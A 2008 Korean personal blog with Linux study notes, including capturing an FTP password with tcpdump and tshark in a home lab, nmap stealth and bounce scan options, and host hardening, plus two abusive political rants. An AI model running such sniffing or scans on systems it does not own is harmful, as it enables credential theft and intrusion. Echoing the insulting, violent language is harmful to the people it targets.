'분류 전체보기'에 해당되는 글 122건

  1. 2008.06.29 openssh
  2. 2008.06.28 sniffing , ehterear , tshark
  3. 2008.06.28 O/S - 쓰레드
  4. 2008.06.28 대한민국 헌법 제 1 조
  5. 2008.06.27 조갑제닷컴 어느 병진의 싸이트
  6. 2008.06.27 linux - /etc/xinetd.d/* 설정하기
  7. 2008.06.27 /etc/hosts.allow , /etc/hosts.deny
  8. 2008.06.25 /proc/sys/net/ipv4 , sysctl
  9. 2008.06.25 service lockdown , chkconfig
  10. 2008.06.25 nmap , scanning 1
  11. 2008.06.24 /proc 디렉토리, system info
  12. 2008.06.24 linux - telnet server 설치 및 셋팅
  13. 2008.06.23 /etc/security/console.apps
  14. 2008.06.23 linux - who , whoami , who am i , w
  15. 2008.06.23 /etc/profile
  16. 2008.06.23 /etc/login.defs , 로그인 암호 길이 지정
  17. 2008.06.23 linux - history , lastb , wtmp , lastlog
  18. 2008.06.20 linux - yum
  19. 2008.06.20 linux - 데몬 , deamon
  20. 2008.06.20 vmware - 몇가지 팁
  21. 2008.06.20 linux - login , logout , messages
  22. 2008.06.20 linux - host , network
  23. 2008.06.19 stack overflow 1
  24. 2008.06.19 linux - ifconfig , ip , setting
  25. 2008.06.18 linux - runlevel 수정하기
  26. 2008.06.18 linux - 설치 3
  27. 2008.06.18 linux - 설치 2
  28. 2008.06.18 linux - 설치 1
  29. 2008.06.17 vmware 셋팅 - 2
  30. 2008.06.17 vmware 셋팅 - 1
2008. 6. 29. 15:02

openssh

openssh

ftp처럼 보안에 취약한 경우 scp 또는 sftp를 사용한다.

먼저 파일을 전송하려는 컴퓨터에 openssh가 서비스 되어 있어야 한다.
[fedora]

# rpm -qa |grep -i ssh
# rpm -ql openssh-clients
사용자 삽입 이미지
openssh 역시 client 와 server 가 따로 있다.

[centos]
# service sshd start

[fedora]
# touch aaa.txt
# scp aaa.txt root@192.168.10.30:                        // :뒤에 경로가 들어 갈수 있으며 생략시 계정의 홈디렉토리
# ftp 계정@ip                                                     // 계정 생략시 root로 로긴됨
2008. 6. 28. 22:29

sniffing , ehterear , tshark

네트워크 상에서 흘러 다니는 정보의 작은 단위를 패킷이라고 한다.

그러나 이 패킷에는 목적지 주소와 수신지 주소의 정보가 담겨 있는데 무차별 모드라는 것으로 네트워크의

목적지에 관계 없이 흘러 다니는 모든 패킷을 감시하고 잡아 낼 수 있게 된다.

이를 스니핑이라 한다.


사용자 삽입 이미지

이더넷 카드는 (이하 NIC) 는 Promiscuous mode 와 Propagation이 있다.
기본 적으로 위처럼 나와야 하지만 만약 UP BROADCAST RUNNING PROMISC MULTICAST 라고 표시된다면
# ifconfig eth0 -promisc 로 변경 시켜주자!   커널의 오류로 인해 생길 수가 있다.



tcpdump 사용
두대의 linux machine 을 구축해 놓자. vmware에서 clone이나 폴더를 복사 시켜 vm에서 오픈 시켜준뒤
간단히 셋팅을 마친 후..host, network ip등등

필자는 다음과 같이 셋팅을 하였다.

사용자 삽입 이미지

사용자 삽입 이미지


1. centos  , 192.168.10.10
2. fedora   , 192.168.10.30

패킷 캡쳐를 위해 centos  - ftp서버를 실행 시킨다.
[centos]
# rpm -qa | grep ftp
lftp-3.5.1-2.fc6
ftp-0.17-33.fc
vsftp 가 설치 되어 있지 않다면

# yum -y install vsftpd
rpm -qa |grep ftp
ftp-0.17-33.fc6
lftp-3.5.1-2.fc6
vsftpd-2.0.5-10.el5
# service vsftpd start

서비스가 실행되었다면 nmap이나 netstat 명령어로 확인해보면된다.
[root@centos ~]# nmap localhost

Starting Nmap 4.65 ( http://nmap.org ) at 2008-06-28 16:01 KST
Interesting ports on centos.linux.com (127.0.0.1):
Not shown: 1708 closed ports
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
23/tcp  open  telnet
25/tcp  open  smtp
111/tcp open  rpcbind
631/tcp open  ipp
996/tcp open  xtreelic

Nmap done: 1 IP address (1 host up) scanned in 0.078 seconds

21 ftp port가 열려 있다


이제 xp에서 centos로 ftp접속을 시도 한다. fedora에서 스니핑해보자.

[fedora]

[root@fedora ~]# rpm -qa |grep tcpdump
tcpdump-3.9.4-11.el5     // 없으면 yum으로 설치~
[root@fedora ~]# tcpdump port 21 and host 192.168.10.30 -w ftp.sniff
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 byte

[xp]

사용자 삽입 이미지

[fedora]
ctrl +c
# cat ftp.sniff

C��)�P�Z331 Please specify the password.
�eH��<<
       )x~LPE(�1@��.�

)�C��P����eH��CC
                )x~LPE5�@��5�

)�C��P���PASS user01
�eH]<<PV�
        )x~E(��@@��

C��)�P�v�eHdMMPV�
                )x~E?��@@��

C��)�P��230 Login successful.
�eH<<
     )x~LPE(��@����

)�C�ȆP��c|[root@fedora ~]#
자료가 깨져 보인다. ㅋ
볼 수 있게 변환해 보자!

# tcpdump -r ftp.sniff        -r 파일로 저장된 tcpdump 읽기

00:06:11.961865 IP 192.168.10.30.ftp > 192.168.10.1.4122: P 1:21(20) ack 1 win 5
840
00:06:12.055858 IP 192.168.10.1.4122 > 192.168.10.30.ftp: . ack 21 win 65515
00:06:27.071235 IP 192.168.10.1.4122 > 192.168.10.30.ftp: P 1:14(13) ack 21 win
65515
00:06:27.071235 IP 192.168.10.30.ftp > 192.168.10.1.4122: . ack 14 win 5840
00:06:27.071758 IP 192.168.10.30.ftp > 192.168.10.1.4122: P 21:55(34) ack 14 win
 5840
00:06:27.121756 IP 192.168.10.1.4122 > 192.168.10.30.ftp: . ack 55 win 65481
00:06:28.117381 IP 192.168.10.1.4122 > 192.168.10.30.ftp: P 14:27(13) ack 55 win
 65481
00:06:28.154908 IP 192.168.10.30.ftp > 192.168.10.1.4122: . ack 27 win 5840
00:06:28.156703 IP 192.168.10.30.ftp > 192.168.10.1.4122: P 55:78(23) ack 27 win
 5840
00:06:28.264336 IP 192.168.10.1.4122 > 192.168.10.30.ftp: . ack 78 win 65458

턱하니 숨이 막힌다. ㅡ.,ㅡ;

좀더 쉬운 툴로 확인해 보자

# rpm -qa ethereal*
#    아무메시지 안뜨면 설치가안되어있다는것

설치 완료후 패키지 확인.


[참고] 현재  테스트 할때는
ethereal 이 아니라 wiseshark 로 이름이 변경 되어 설치 되었다.
검색 결과 이름 때문에 개명했다고 한다 ..
해서 shark로 수정해서 올린다.

# tshark -r ftp.sniff
사용자 삽입 이미지

해서... 저장해놓은 파일을 열어 보면 접속 했을때 쳤던 명령어가 그대로 보여지고 있다!!

해서...(자꾸 해서가) 암튼 이렇게 헀을때 모든 패킷정보가 보여지게 되는데 이건

패스워드가 그대로 노출 된다는 말이다...

해서 openssh를 써야한다.!!(secure shell : 보안쉘)


2008. 6. 28. 20:27

O/S - 쓰레드

쓰레드 - 프로그램 실행 흔적

멀티 스레드 - 실행 흔적 여러개 ?????????, 여러개 함수를 동시에 실행 시킬 수 잇는것
                 - 일종의 fork ()  포크 개념

단일 쓰레드 - 하나의 함수가 긑나가 다른 함수를 실행 가능하다.

멀티 프로그램 - 하나의 운영체제에 여러개의 프로그램을 동시에 수행

멀티 프로세싱 - 하나의 컴퓨터에 여려개의 cpu를 가진것


--------------------------------------------------------------------------------------------------------------------------------------------------
스레드(thread)는 어떠한 프로그램 내에서, 특히 프로세스 내에서 실행되는 흐름의 단위를 말한다. 일반적으로 한 프로그램은 하나의 스레드를 가지고 있지만, 프로그램 환경에 따라 둘 이상의 스레드를 동시에 실행할 수 있다. 이러한 실행 방식을 멀티스레드(multithread)라고 한다.
프로세스와 스레드의 비교

멀티프로세스와 멀티스레드는 양쪽 모두 여러 흐름이 동시에 진행된다는 공통점을 가지고 있다. 하지만 멀티프로세스에서 각 프로세스는 독립적으로 실행되며 각각 별개의 메모리를 차지하고 있는 것과 달리 멀티스레드는 프로세스 내의 메모리를 공유해 사용할 수 있다. 또한 프로세스 간의 전환 속도보다 스레드 간의 전환 속도가 빠르다.

멀티스레드의 다른 장점은 CPU가 여러 개일 경우에 각각의 CPU가 스레드 하나씩을 담당하는 방법으로 속도를 높일 수 있다는 것이다. 이러한 시스템에서는 여러 스레드가 실제 시간상으로 동시에 수행될 수 있기 때문이다.

멀티스레드의 단점에는 각각의 스레드 중 어떤 것이 먼저 실행될지 그 순서를 알 수 없다는 것이 있다. 예를 들어, 두 스레드가 특정 공유 변수 i의 값을 1 증가시키는 명령을 실행할 때, 다음과 같은 방식으로 수행될 수 있다.

  1. 공유되는 변수 i의 값을 레지스터에 저장한다.
  2. 레지스터의 값을 1 증가시킨다.
  3. 변수 i에 그 값을 저장한다.

이때 두 스레드가 실행될 때 어떤 스레드가 먼저 실행될지는 보장되지 않으며, 만약 다음과 같은 순서로 실행된다면:

스레드 동작 i의 값 스레드 1의 레지스터 스레드 2의 레지스터
스레드 1 i의 값을 레지스터에 저장 0 0
스레드 1 레지스터 값을 1 증가 0 1
스레드 1 i에 값 저장 1 1
스레드 2 i의 값을 레지스터에 저장 1 1 1
스레드 2 레지스터 값을 1 증가 1 1 2
스레드 2 i에 값 저장 2 1 2

최종 결과로 i는 2가 증가된다. 하지만 다음과 같이 실행된다면:

스레드 동작 i의 값 스레드 1의 레지스터 스레드 2의 레지스터
스레드 1 i의 값을 레지스터에 저장 0 0
스레드 2 i의 값을 레지스터에 저장 0 0 0
스레드 1 레지스터 값을 1 증가 0 1 0
스레드 2 레지스터 값을 1 증가 0 1 1
스레드 1 i에 값 저장 1 1 1
스레드 2 i에 값 저장 1 1 1

i는 2가 증가되고, 이것은 원래 프로그램의 의도(각각의 스레드가 i를 1씩 증가하는 동작)와 다를 수 있다. 또한 이러한 문제는 스레드의 실행 조건에 따라 결과가 다르게 나오므로, 오류가 발생했을 때 원인을 찾기가 힘들다. 이러한 문제를 경쟁 조건이라고 하며, 문제를 막기 위해 세마포어와 같은 방법을 통해 공유 데이터에 접근하는 스레드의 개수를 한개 이하로 유지하는 방법을 사용할 수 있다.

[편집] 멀티스레드 프로그래밍의 장점

  1. 응답성 : 대화형 프로그램을 멀티스레드화하면, 프로그램의 일부분(스레드)이 중단되거나 긴 작업을 수행하더라도 프로그램의 수행이 계속되어, 사용자에 대한 응답성이 증가된다. 예를 들어, 멀티스레드가 적용된 웹 브라우저 프로그램에서 하나의 스레드가 이미지 파일을 로드하고 있는 동안, 다른 스레드에 사용자와의 상호 작용이 가능하다.
  2. 자원 공유 : 스레드는 자동적으로 그들이 속한 프로세스의 자원들과 메모리를 공유한다. 코드 공유의 이점은, 한 응용 프로그램이 같은 주소 공간 내에 여러 개의 다른 활동성 스레드를 가질 수 있다는 점이다.
  3. 경제성 : 프로세스 생성에 메모리와 자원을 할당하는 것은 비용이 많이 든다. 스레드는 자신이 속한 프로세스의 자원들을 공유하기 때문에, 스레드를 생성하고 문맥교환을 하는 편이 보다 경제적이다.
  4. 멀티프로세서 활용 : 멀티프로세서 구조에서는 각각의 스레드가 다른 프로세서에서 병렬로 수행될 수 있다. 단일 스레드 프로세스는 CPU가 많아도 CPU 한개에서만 실행된다. 즉, 다중 스레드화을 하면 다중 CPU에서 병렬성이 증가된다.

[편집] 스레드의 종류

스레드를 지원하는 주체에 따라 2가지로 나눌 수 있다.

[편집] 사용자 스레드

사용자 스레드는 커널 영역의 상위에서 지원되며 일반적으로 사용자 레벨의 라이브러리를 통해 구현되며, 라이브러리는 스레드의 생성 및 스케줄링 등에 관한 관리 기능을 제공한다. 동일한 메모리 영역에서 스레드가 생성 및 관리되므로 속도가 빠른 장점이 있는 반면, 여러 개의 사용자 스레드 중 하나의 스레드가 시스템 호출 등으로 중단되면 나머지 모든 스레드 역시 중단되는 단점이 있다. 이는 커널이 프로세스 내부의 스레드를 인식하지 못하며 해당 프로세스를 대기 상태로 전환시키기 때문이다.

[편집] 커널 스레드

커널 스레드는 운영체제가 지원하는 스레드 기능으로 구현되며, 커널이 스레드의 생성 및 스케줄링 등을 관리한다. 스레드가 시스템 호출 등으로 중단되더라도, 커널은 프로세스 내의 다른 스레드를 중단시키지 않고 계속 실행시켜준다. 다중처리기 환경에서 커널은 여러 개의 스레드를 각각 다른 처리기에 할당할 수 있다. 다만, 사용자 스레드에 비해 생성 및 관리하는 것이 느리다.

[편집] 스레드 데이터

[편집] 스레드 기본 데이터

스레드도 프로세스와 마찬가지로 하나의 실행 흐름이므로 실행과 관련된 데이터가 필요하다. 일반적으로 스레드는 자신만의 고유한 스레드 ID, 프로그램 카운터, 레지스터 집합, 스택을 가진다. 코드, 데이터, 파일 등 기타 자원은 프로세스 내의 다른 스레드와 공유한다.

[편집] 스레드 특정 데이터

위의 기본 데이터 외에도 하나의 스레드에만 연관된 데이터가 필요한 경우가 있는데, 이런 데이터를 스레드 특정 데이터(Thread-Specific Data, 줄여서 TSD)라고 한다. 멀티스레드 프로그래밍 환경에서 모든 스레드는 프로세스의 데이터를 공유하고 있지만, 특별한 경우에는 개별 스레드만의 자료 공간이 필요하다. 예를 들어 여러 개의 트랜잭션을 스레드로 처리할 경우, 각각의 트랜잭션 ID를 기억하고 있어야 하는데, 이 때 TSD가 필요하다. TSD는 여러 스레드 라이브러리들이 지원하는 기능 중의 하나이다.

[편집] 멀티스레드 모델

[편집] 다-대-일(Many-to-One)

여러 개의 사용자 레벨 스레드들이 하나의 커널 스레드(프로세스)로 매핑되는 방식으로, 사용자 레벨에서 스레드 관리가 이루어진다. 주로 커널 스레드를 지원하지 않는 시스템에서 사용하며, 한번에 하나의 스레드만이 커널에 접근 가능하다는 단점이 있다. 하나의 스레드가 커널에 시스템 호출을 하면 나머지 스레드들은 대기해야 하기 때문에, 진정한 의미의 동시성을 지원하지 못한다. 즉, 여러 개의 스레드가 동시에 시스템 호출을 사용할 수 없다. 또한 커널의 입장에서는 프로세스 내부의 스레드들을 인식할 수 없고 하나의 프로세스로만 보이기 때문에 다중처리기 환경이라도 여러 개의 처리기에 분산하여 수행할 수 없다.

[편집] 일-대-일(One-to-One)

사용자 스레드들을 각각 하나의 커널 스레드로 매핑시키는 방식이다. 사용자 스레드가 생성되면, 그에 따른 커널 스레드가 생성되는 것이다. 이렇게 하면 다-대-일 방식에서 시스템 호출 시 다른 스레드들이 중단되는 문제를 해결할 수 있으며, 여러 개의 스레드를 다중처리기에 분산하여 동시에 수행할 수 있는 장점이 있다. 다만, 커널 스레드도 한정된 자원을 사용하기 때문에 무한정 생성할 수는 없기 때문에, 스레드 생성할 때 그 개수를 염두에 두어야 한다.

[편집] 다-대-다(Many-to-Many)

여러 개의 사용자 스레드를 여러 개의 커널 스레드로 매핑시키는 모델이다. 대-다-일 방식과 일-대-일 방식의 문제점을 해결하기 위해 고안되었다. 커널 스레드는 생성된 사용자 스레드와 같은 수 또는 그 이하로 생성하어 스케줄링한다. 다-대-일 방식에서 스레드가 시스템 호출시 다른 스레드가 중단되는 현상과, 일-대-일 방식에서 사용할 스레드의 수에 대해 고민할 필요가 없다. 커널이 사용자 스레드와 커널 스레드의 매핑을 적절히 조절한다.

[편집] 프로세스 관리의 변화

멀티스레드 환경이 확산됨에 따라 전통적인 프로세스 관리 방식에도 변화가 필요해졌다. 예를 들어, fork 또는 exec와 같은 시스템 호출시에 어떻게 처리할 것인가 하는 문제가 대두된 것이다.

  • fork 문제 : 어떤 프로세스 내의 스레드가 fork를 호출하면 모든 스레드를 가진 프로세스를 생성할 것인지, 아니면 fork를 요청한 스레드만 가진 프로세스를 생성할 것인지 하는 문제이다. 유닉스에서는 각각 2가지 버전의 fork를 지원하고 있다.
  • exec 문제 : fork를 통해 모든 스레드를 복제하고 난 후, exec를 수행한다면 모든 스레드들이 초기화된다. 그렇다면 교체될 스레드를 복제하는 작업은 필요가 없기 때문에 애초에 fork를 요청한 스레드만을 복제했어야 한다. 한편, fork를 한 후에 exec를 수행하지 않는다면 모든 스레드를 복제할 필요가 있는 경우도 있다.
                                                                                                   
  • 출처 :  위키백과   ,    http://ko.wikipedia.org/wiki/%EC%8A%A4%EB%A0%88%EB%93%9C
2008. 6. 28. 20:18

대한민국 헌법 제 1 조

나라가 어찌 되려는지 나라꼴이 말이아니다.

촛불 시위를 보면서 처음으로.. 뼈져리게 기억될거 같다.

헌법을 바꾸는게 낳지 않을까....후후.


   

대한민국 헌법 제 1 조
        원문

1. 대한민국은 민주공화국인다.
2. 대한민국의 주권은 국민에게 있고, 모든 권력은 국민으로부터 나온다.


       수정
1. 대한민국은 명박공화국인다.
2. 대한민국의 주권은 명박에게 있고, 모든 권력은 명박으로부터 나온다.

2008. 6. 27. 01:53

조갑제닷컴 어느 병진의 싸이트

어디서 노망난 미친개가 짓는다  갑제가

아굴을 찢으까 ㅡㅡ  파묻을까..

미국이였으면 총 쐈을 꺼랜다 허허...

미친그지 깽깽이거튼기  어디서 아굴을 함부로 놀릴까...

미국이였으면 이딴 졸속 협상은 아예 하지도 않았을 꺼다

그딴 식으로 입굴리면 미국에선 어떻게 했을꺼 같냐?  상상에 맡긴다


사용자 삽입 이미지
2008. 6. 27. 00:40

linux - /etc/xinetd.d/* 설정하기

linux - /etc/xinetd.d/*  설정하기

1. chkconfig 명령어에서 사용하는 서비스명
2. service 서비스 데몬명 start/restart/status 에서 사용하는 서비스 데몬
3. /etc/hosts.allow   or ~ deny에서 사용하느 서비스명
4. /etc/xinetd.d/ 디렉토리 내에 사용하는 서비스파일명
5 . /etc/services 파일 내에서 사용하는 서비스명

형식
service < service_name >
{
                  속성 = 값
}
속성
disable  : 서비스 활성화 하기 위해서 no로 설정
socket_type   : stream +tcp기반, dgram + udp기반, raw : ip를 직접 제어
wait   :   단일 쓰레드 , 멀티 쓰레드에 대한 설정 반드시 no로 해야 정상 서비스 설정
user : 프로세스를 실행할 권한자
server : 서비스 실행 명령어의 절대 경로를 사용하여 설정
log_on_failuer : 서버 접속시 성공하지 못했을 때 로그 파일에 기록 하는 내용을 설정 할 수 있다.
                      여기서는 host(client ip)  ,
                      userid (접속한 사용자 id)  ,
                      attemt,  recore가 추가 될 수 있다.
                       += /etc/xinetd.conf 파일의 기본 설정 항목에 추가할
                       -=         "                                                  뺄
only_from         제한된 서비스 제공
access_times   접속 허용 시간


직접적인 root 접속 차단
[root@fedora ~]# vi /etc/securetty.org
.ICEauthority       .gconf/             .redhat/
.Trash/             .gconfd/            .scim/
.Xauthority         .gnome/             .tcshrc
console
vc/1
vc/2
....
....
tty10
tty11



telnet 으로의 root 접속 차단
telnet 에서 root접속은  /etc/securetty  에서 관리 되어진다.

ssh에서 root 접속 차단
ssh에서 root 로그인 되지 않게 하기 위해서는 /etc/ssh/sshd_config 파일에서 permirootlogin yes 를 no로!
2008. 6. 27. 00:25

/etc/hosts.allow , /etc/hosts.deny

linux - TCP 데몬 xinetd에 의한 접속 제어

tcpd는 특정 IP나 도메인으로부터 서버로의 telnet, ftp, pop 등의 접속을 차단, 접속/시도에 대한 기록을 특정한 파일에 로그로 기록한다.

xinetd는 tcp-wrapper 을 내장하고 있기 때문에 xinetd모드에서 실행 되는 서비스들은 거의 대부분
tcpd라는 tcp_wrapper의 데몬에 의해 접속 제어를 받게 된다.

쉽게 말해서 /etc/hosts.deny       와 /etc/hosts.allow   파일로 제어 된다.

tcpd  - /etc/hosts.allow    : 접속 허용
          /etc/hosts.deny     : 접속 거부
특징       :        allow와 deny 에 없는 것은 default 로 접속 허용이 되기 때문에 모두 차단으로 변경하는것이
                      좋다.
# vi /etc/hosts.deny
-----------------------------------------------------------------------------------
# hosts.deny    This file describes the names of the hosts which are
#               *not* allowed to use the local INET services, as decided
#               by the '/usr/sbin/tcpd' server.
#
# The portmap line is redundant, but it is left to remind you that
# the new secure portmap uses hosts.deny and hosts.allow.  In particular
# you should know that NFS uses portmap!

#ex)ALL:ALL
#ex) sshd: 192.168.0.100/24  : twist /bin/echo "ACCESS DENIED!"
-----------------------------------------------------------------------------------

ex)의 예제처럼 작성하면 된다. #은 주석 처리이다.


2008. 6. 25. 23:36

/proc/sys/net/ipv4 , sysctl

커널의 네트워크 설정 내용

/proc/sys/net/ipv4 는 네트워크 관련 정보를 가지고 있는 파일이있다.
[root@fedora ~]# sysctl -a
sunrpc.max_resvport = 1023
sunrpc.min_resvport = 665
sunrpc.tcp_slot_table_entries = 16
sunrpc.udp_slot_table_entries = 16
....
....
좀 많다.

예를 들어 ping 에 대한 응답 설정을 하는 내용을 보자
[root@fedora ~]# sysctl -a | grep icmp_echo_ignore_all
net.ipv4.icmp_echo_ignore_all = 0
폴더로 가보자.

[root@fedora ~]# cd /proc/sys/net/ipv4;ls
cipso_cache_bucket_size            tcp_dma_copybreak
cipso_cache_enable                 tcp_dsack
cipso_rbm_optfmt                   tcp_ecn
cipso_rbm_strictvalid              tcp_fack
conf                               tcp_fin_timeout
icmp_echo_ignore_all               tcp_frto
icmp_echo_ignore_broadcasts        tcp_keepalive_intvl
icmp_errors_use_inbound_ifaddr     tcp_keepalive_probes
icmp_ignore_bogus_error_responses  tcp_keepalive_time
icmp_ratelimit                     tcp_low_latency
icmp_ratemask                      tcp_max_orphans
igmp_max_memberships               tcp_max_syn_backlog
igmp_max_msf                       tcp_max_tw_buckets
inet_peer_gc_maxtime               tcp_mem
inet_peer_gc_mintime               tcp_moderate_rcvbuf
inet_peer_maxttl                   tcp_mtu_probing

[root@fedora ipv4]# cat icmp_echo_ignore_all
0
0으로 되어 있는데 이것은 기능을 끈다는 의미이다.
켜보자. 이 파일을 수정 하는것은 안된다! 왜냐면 /proc에 있는 내용은 메모리의 내용이다.
따라서 직접적인 수정은 안되며 간접적인 방법으로 수정이 된다.

[root@fedora ipv4]# echo 1 > icmp_echo_ignore_echo
[root@fedora ipv4]# cat icmp_echo_ignore_all
1
로 바뀌어 있다.
그리고 다른곳에서 핑을 날려보자

수정전!!!!
[root@centos ~]# ping 192.168.10.10
PING 192.168.10.10 (192.168.10.10) 56(84) bytes of data.
64 bytes from 192.168.10.10: icmp_seq=1 ttl=64 time=0.483 ms

--- 192.168.10.10 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.483/0.483/0.483/0.000 ms

수정후
[root@centos ~]# ping 192.168.10.10
PING 192.168.10.10 (192.168.10.10) 56(84) bytes of data.


아무 응답이 없다!!!!

------------------------------------------------------------------------------------------------
참고
echo 명령어로 바꾸는 방법은 리부팅 하게 되면 원래 값으로 다시 셋팅된다 .
이를 영구적으로 바꾸려면

/etc/sysctl.conf    를 직접수정 하면 다음 부팅시부터 적용 받을 수 있다.

vi /etc/sysctl.conf
net.ipv4.icmp_echo_ignore_all = 1/0     으로 수정을 하면 된다.

또한
icmp_echo_ignore_broadcat = 1/0       에서 1 로 셋팅 할 경우 Dos 공격에 어느정도 효과가 있다고 한다.!!!
ip_default_ttl                ip패킷 생존시간을 의미한다. 라우터지날때마다 1씩 감소 디폴트 64(리눅스)
2008. 6. 25. 23:20

service lockdown , chkconfig

linux - service lockdown

stand alone mode로 실행 되는 서비스 데몬은

ntsysv로 관리할 수 있다.

ntsysv는 그래픽 모드로 보여주지만 runlevel에 따라 수정 하기가 불편하기 때문에

 chkconfig 명령어를 사용한다.

[root@fedora ~]# chkconfig
chkconfig version 1.3.30.1 - Copyright (C) 1997-2000 Red Hat, Inc.
This may be freely redistributed under the terms of the GNU Public License.

usage:   chkconfig --list [name]
         chkconfig --add <name>
         chkconfig --del <name>
         chkconfig [--level <levels>] <name> <on|off|reset|resetpriorities>

[root@fedora ~]# chkconfig --list
NetworkManager  0:off   1:off   2:off   3:off   4:off   5:off   6:off
NetworkManagerDispatcher        0:off   1:off   2:off   3:off   4:off   5:off  6:off
acpid           0:off   1:off   2:off   3:on    4:on    5:on    6:off
anacron         0:off   1:off   2:on    3:on    4:on    5:on    6:off
apmd            0:off   1:off   2:on    3:on    4:on    5:on    6:off
atd             0:off   1:off   2:off   3:on    4:on    5:on    6:off
auditd          0:off   1:off   2:on    3:on    4:on    5:on    6:off


여러 서비스 명과 각 런레벨 상태에 따른 시작 설정이 되어있는것을 볼 수 있다.

[root@fedora ~]# chkconfig --list sendmail
sendmail        0:off   1:off   2:on    3:on    4:on    5:on    6:off
[root@fedora ~]# chkconfig sendmail off               // 전체 해제가 되었다.

[root@fedora ~]# chkconfig --list sendmail
sendmail        0:off   1:off   2:off   3:off   4:off   5:off   6:off
[root@fedora ~]# chkconfig --level 5 sendmail on    // 5 level만 켜졌다.
[root@fedora ~]# chkconfig --list sendmail
sendmail        0:off   1:off   2:off   3:off   4:off   5:on    6:off
[root@fedora ~]# chkconfig --level 35 sendmail on   // 3,5레벨만 켜졌다.
[root@fedora ~]# chkconfig --list sendmail
sendmail        0:off   1:off   2:off   3:on    4:off   5:on    6:off
[root@fedora ~]#

2008. 6. 25. 00:18

nmap , scanning

linux - nmap , scanning

nmap
       -  타켓 시스템에서 어떤 서비스가 동작하는지를 파악하고 방화벽이나 IDS의 설치 여부를 확인과 시스템 기종의 파악 및 운영체제의 정보를 파악하는데 쓰입니다.


설치

다운로드
[root@server ~]# cd /tmp
[root@server tmp]# wget http://download.insecure.org/nmap/dist/nmap-4.65.tar.bz2
                     // wget 은 해당 파일의 정확한 주소를 알면 바로 받아 올 수 있다.

--05:07:19--  http://download.insecure.org/nmap/dist/nmap-4.65.tar.bz2
Resolving download.insecure.org..ls
Saving to: `nmap-4.65.tar.bz2'
....
....
100%[=======================================>] 4,066,062    637K/s   in 6.7s  

05:07:36 (591 KB/s) - `nmap-4.65.tar.bz2' saved [4066062/4066062]

[root@server tmp]# ls
..
nmap-4.65.tar.bz2
..
[root@server tmp]# tar xvfj nmap-4.65.tar.bz2
[root@server tmp]# cd nmap-4.65
[root@server nmap-4.65]# ls
[root@server nmap-4.65]# ./configure && make && make install
----------------------------------------------------------------------------------------------
[참고]
소스파일을 받아  설치 할려면 gcc 컴파일러가 설치 되어 있지 않을때가 있는데 이때는
# yum -y install gcc*
or
# yum -y install gcc
# yum -y install gcc-c++

[참고]
소스 파일로 받았을시
리눅스에서는 보통
./configure   // make 하기 위한 기본 환경 설정 작업
make           // make  기본적으로 컴파일 작업을 하게 되면 오랜? 시간이 걸리는데 필요한부분만 컴파일
                 하게 된다. 앞서 ./configure 한 이유가 이때문!
make install     // make해서 생성된 것을 설치 하는 과정이다!!!(설치 과정이 빠지는 경우도있다!)
을 과정을 거친다.

----------------------------------------------------------------------------------------------

사용법
# nmap [스캔유형] [옵션] <호스트 또는 네트워크>
스캔 유형
-sT           tcp연결
-sS           스텔스 모드
-sF           FIN 이용
-sP           ping을 이용한 스캔
-sU           udp연결
-b             ftp 바운스 공격 위한 스캔

옵션
옵션은 여러가지를 조합하여 사용할 수 있다.

-f 패킷을 나누어서(fragment)
-PT   tcp ping을 사용하여 호스트가 살아 있는지~
-PT21    21번 포트로 위와 같은 작업
-PI       icmp 패킷을 이용하여~
-p n1-n2 , n1-   포트 n1~n2까지, 혹은 n1에서 마지막까지
-O        운영 체제스캔
-F       /etc/service 에 있는 포트만
-o<output>     스캔 결과를 파일에 저장
-V       vervose모드 여러가지 정보를 볼 수 있다.
-h         도움말
-S        syn, fyn 스캔시 소스 어드레스 지정한다.


# nmap localhost           default 1-1024
# nmap -sP ip               호스트가 살아있는지
# nmap -sS <host ip>    스텔스 스캔


2008. 6. 24. 22:57

/proc 디렉토리, system info

 /proc directory

   실제로 존재 하지 않는 디렉토리이며 커널이 메모리에 만들어 놓은 것으로 실제 디스크 공간에는 존재 하지 않는다. 주로 프로세스에 대한 정보를 제공한다.

/proc/version
# cat /proc/version      
Linux version 2.ㅌㅌㅌ.el5 (mockbuild@builder6.~~~~
 llinux kernel 버전을 알려 준다

# cat /proc/devices
Character devices:
  1 mem
  4 /dev/vc/0
  4 tty
  4 ttyS
  5 /dev/tty
  5 /dev/consol
.....
Block devices:
  1 ramdisk
  2 fd
  8 sd
  9 md
 22 id
......
  현재 리눅스 커널에 설정되어 있는 하드웨어의 목록을 볼 수 있다.
  리눅스는 두 가지 종류의 하드웨어 디바이스를 인식한다.
  블록 디바이스        데이터를 버퍼에 모은 다음 한꺼번에 전송 하는 디바이스다
  캐릭터 디바이스     원시 하드웨어 즉 가장 기본적인 디바이스이다. 시스템의 i/o버퍼를 사
                             용 한번 에 한문자씩 전송 하는 프린터, 모뎀과 같은 디바이스이다.
# cat /proc/cpuinfo                             //cpu정보가 들어 있다.
processor       : 0
vendor_id       : AuthenticAMD
cpu family      : 15
model           : 67
....
....

# cat /proc/meminfo                               // 메모리 사용량에 관한 정보를 보여 준다.
MemTotal:       515524 kB
MemFree:          9228 kB
Buffers:         31252 kB
Cached:         391056
......
......
                     참고 : # free -m 도  있다.

# cat /proc/modules
                                   커널 모듈에 대한 정보를 확인 할 수 있다.
 " 이더넷 카드를 인식 시킬때 내렸던 lsmod처럼 현재 커널 메모리에 올려서 사용하고 있는 모듈에 대한 정보를 확인 할 수 있다."


# cat /proc/dma
                                 현재 어느 DMA 채널이 사용중인지를 알려 준다.

# cat /proc/interrupts
                                현재 어느 인터럽트가 사용중인지 , 그리고 얼마나 많이 사용되었는지를 알 수
                                있다.
# cat /proc/ioports
                                현재 어느 I/O 포트가 사용중인지를 확인 할 때 사용된다. IRQ의 경우 처럼 I/O포트
                                역시 하드웨어끼리 충돌이 있어서는 안된다.

# cat /proc/pci
                                이 파일은 pci 버스와 설치된 pci 카드들, 그리고 pci 버스를 사용하는 다른 기기들
                                에 대한 정보를 표시한다.

하드 디스크 정보

# cat /proc/partitons
                                이 파일은 하드디스크 분할영역 상태에 대한 정보를 표시한다.
# cat /proc/filesystems
                                이 파일 시스템이 커널에 설정되어 있는지를 알 수 있다.
# cat /proc/swaps
                                리눅스를 설치 하면서 설정한 스왑 파티션 외에 리눅스 시스템이 사용하고 있는
                                스왑 파일에 대한 정보도 알 수 있다.

2008. 6. 24. 22:11

